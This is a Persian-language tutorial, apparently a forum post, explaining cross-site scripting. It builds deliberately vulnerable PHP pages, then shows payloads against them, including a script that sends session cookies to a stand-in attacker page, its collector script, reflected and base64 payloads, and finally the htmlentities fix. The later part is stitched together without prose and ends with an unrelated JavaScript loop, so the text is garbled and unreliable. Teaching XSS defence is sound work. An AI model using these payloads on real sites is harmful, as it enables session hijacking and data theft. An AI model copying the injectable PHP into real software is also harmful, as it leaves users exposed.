بیـــدک پـلاس

سلام. 
یکی از انواع حملات به صفحات وب , XSS هست.(Cross Site Scripting) 
xss ازین قراره که نفوذگر توسط کد های Client Side مثل (javascript , vbscript) , صفحات وبی که توسط کاربران اینترنتی (clients) باز شده , مورد حمله قرار میدن و اسکریپت هاشونو تزریق میکنن. 
این اسکریپت ها در صفحات وب ما (clients) اجرا میشن و باعث خرابکاری هایی در برنامه میشن و نفوذگر میتونه اطلاعات کاربرو در اختیار بگیره. 

واسه اینکه ساده تر بخوام توضیح بدم , یک مثال خیلی ساده میزنم: 
یک صفحه ی فرم میسازم که نام افرادی که میخوان عضو سایت بشن رو میگیره و در دیتابیس ذخیره میکنه و تمام کسانی که قبلا عضو شدنو هم در همون صفحه , پایین تر از فرم , نمایش میده: 

اسم این صفحه (register.php) 

<form action="" method="post" accept-charset="utf-8"> 
   <input type="text" name="name"> 
   <input type="submit" name="btnSubmit" value="Insert"> 
</form> 
<hr> 
<b>Members:</b><br> 

<?php 
mysql_connect('localhost', 'root', ''); 
mysql_select_db('test'); 
mysql_query('set names utf8'); 

/**************************/ 
// insert codes 
if (isset($_POST['btnSubmit'])) 
{ 
   if (isset($_POST['name']) && !empty($_POST['name'])) 
   { 
      $name = $_POST['name']; 
      mysql_query("INSERT INTO `name` (`name`) VALUES ('{$name}')"); 
      if (mysql_affected_rows() <= 0) 
      { 
         echo "ERROR!"; 
      } 

   } 
} 

/**************************/ 
// show members 
$result = mysql_query("SELECT * FROM `name`"); 
if (mysql_num_rows($result) > 0) 
{ 
   while ($row = mysql_fetch_assoc($result)) 
   { 
       echo $row['name'] . '<br>'; 
   } 
}

حالا کاربری (نفوذگر) وارد این صفحه از سایت میشه و این صفحه ای میبینه که نام کاربر رو میگیره و اینسرت میکنه و زیر فرم هم اسامی رو نمایش میده. 
و بجای اینکه اسمشو وارد کنه , این عبارتو در اینپوت مینویسه: 

<script>alert(\"You have been hacked!\")</script> 

و روی دکمه ی Insert کلیک میکنه و در دیتابیس این عبارت ذخیره میشه. 
قاعدتا عبارت بالا هم باید در زیر member ها اضافه و چاپ بشه!! 

حالا هر کاربری , هر زمانی , از هر جایی که این صفحه از سایتو باز کنه , با یک آلرت که نفوذگر تزریق کرده روبرو میشه. 
بجای اینکه اون عبارت بالا عیناً در قسمت members چاپ بشه , بصورت آلرت در مرورگر کاربر(قربانی) نمایش داده شد , یعنی کدهای جاوااسکریپت در مرورگر کاربر اجرا شد. 
بجای alert میشد هر کد جاوااسکریپت دیگه ای تزریق کرد. 

خوب , مثال بالارو توو قالب یک مثال دیگه میارم. 
در مثال اولی که زدم , فرمی داشتیم که نام تمام اعضا رو نمایش میداد.حالا کاربری(نفوذگر) وارد همان صفحه یعنی register.php میشه و داخل اینپوت , بجای نام خودش, این کد جاوااسکریپتو وارد میکنه: 

<script> 
    window.location = \'http://example.com?hacker.php?cookie=\' + escape(document.cookie); 
</script>

فرض میکنیم عبارت بالا توسط نفوذگر در دیتابیس ثبت شد. 
* example.com/hacker.php صفحه ایست که نفوذگر ساخته.(آدرس سایت نفوذگر) 

در ادامه ی مثال, یک صفحه ی لاگین داریم و کاربر ها لاگین میکنن. 
زمانی که لاگین صورت میگیره , اطلاعات کاربر در سشن ذخیره میشه.(در این مثال) 
* همونطور که میدونید , session id در کوکی و مرورگر کاربر ذخیره میشه و توسط این آیدی مقادیر از حافظه ی سرور خونده میشه. 

یعنی عملا اگر کوکی مرورگر کاربر غیر فعال باشه , سشن هم کار نمیکنه , چون سشن آیدی دیگه نمیتونه در جایی ذخیره بشه. 

پس نکته ی مهمی که اینجاس , اگر ما سشن آیدی یک کاربرو داشته باشیم , توسط این آیدی میتونیم اطلاعات کاربرو که روی حافظه ی سرور ذخیره شده رو بخونیم. 
توو این مثال میخوایم توسط حمله ی xss , سشن کاربر قربانی رو بدست بیاریم. 

یک پیج لاگین ساده درست کردم و فقط این لاگینو محدود به یوزر ادمین کردم.دلیل اینکارم اینه که نخواستم زیادی پیچیدش کنم و فقط میخوام مثالو پیاده سازی کنم. 

<?php 
// start session 
if (!isset($_SESSION)) 
{ 
   @session_start(); 
} 

/***************************/ 
// check login 
if (isset($_POST['btnLogin'])) 
{ 
   if (isset($_POST['username'], $_POST['password'])) 
   { 
      $username = $_POST['username']; 
      $password = $_POST['password']; 

      if (strtolower($username) == 'bidak' && $password == '123') 
      { 
         $_SESSION['login'] = true; 
      } 
   } 
} 

/***************************/ 
// check login session 
if (!isset($_SESSION['login'])) 
{ 
?> 
   <form action="" method="post" accept-charset="utf-8"> 
      username: <input type="text" name="username"> 
      <br><br> 
      password: <input type="text" name="password"> 
      <input type="submit" name="btnLogin" value="login"> 
   </form> 
<?php 
} 

// show members 
if (isset($_SESSION['login'])) 
{ 
   echo 'Welcome to <strong>Admin</strong> panel.<br>'; 

   /**************************/ 
   mysql_connect('localhost', 'root', ''); 
   mysql_select_db('test'); 
   // show members 
   $result = mysql_query("SELECT * FROM `name`"); 
   if (mysql_num_rows($result) > 0) 
   { 
      while ($row = mysql_fetch_assoc($result)) 
      { 
          echo $row['name'] . '<br>'; 
      } 
   } 
} 
else 
{ 
   echo 'You are a <strong>Guest</strong> here now.'; 
} 

وقتی login میشم سشن login ست میشه و در صفحه ی ادمین اسامی اعضای سایت نمایش داده میشه. 
یکی از اسامی که در صفحه چاپ میشه , کد نفوذگر هست: (در متن بالا اشاره شد) 

<script> 
    window.location = 'http://example.com?hacker.php?cookie=' + escape(document.cookie); 
</script> 

این کد اجرا میشه و کوکی کاربر لاگین شده رو به آدرس نفوذگر میچسبونه و میفرسته به صفحه ای که نفوذگر توو سایت خودش ساخته.نفوذگر کوکی های کاربرو در صفحه ای که ساخته (hacker.php) دریافت میکنه و جایی ثبت یا توسط میل و ... ارسال میکنه. 

صفحه ی hacker.php بعنوان مثال: 

<?php 
echo  "found: " . urldecode($_GET['cookie']); 
// Insert into db or Send email 

echo "You searched for: ".$_GET['search']; 

http://exampleSite.com/result.html?search=<img src=/ onerror="alert(document.cookie)"> 

<form method="post" action="<?php echo $_SERVER["PHP_SELF"];?>"> 

$_SERVER["PHP_SELF"]; 

/foo/bar.php 

http://www.example.com/test_form.php/%22%3E%3Cscript%3Ealert('hacked')%3C/script%3E 

<form method="post" action="test_form.php/"><script>alert('hacked')</script> 

<META HTTP-EQUIV="refresh" 
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg"> 

<script>alert('test3')</script> 

// show members 
$result = mysql_query("SELECT * FROM `name`"); 
if (mysql_num_rows($result) > 0) 
{ 
   while ($row = mysql_fetch_assoc($result)) 
   { 
            // use HtmlEntities to prevent xss 
       echo htmlentities($row['name'], ENT_QUOTES, 'UTF-8') . '<br>'; 
   } 
} 

<script>alert("You have been hacked!")</script> 
ali 
hasan 
mohsen

<form method="post" action="<?php echo htmlentities($_SERVER["PHP_SELF"], ENT_QUOTES, 'UTF-8')?>">

for(i=0; i<30; i++)
{
	for(j=0; j<16; j++)
	{
		if(getNeighbours(i, j) != 99)
		{
			clickCell(false,document.getElementById("cell" + i + '_' + j),1);
		}
	}
}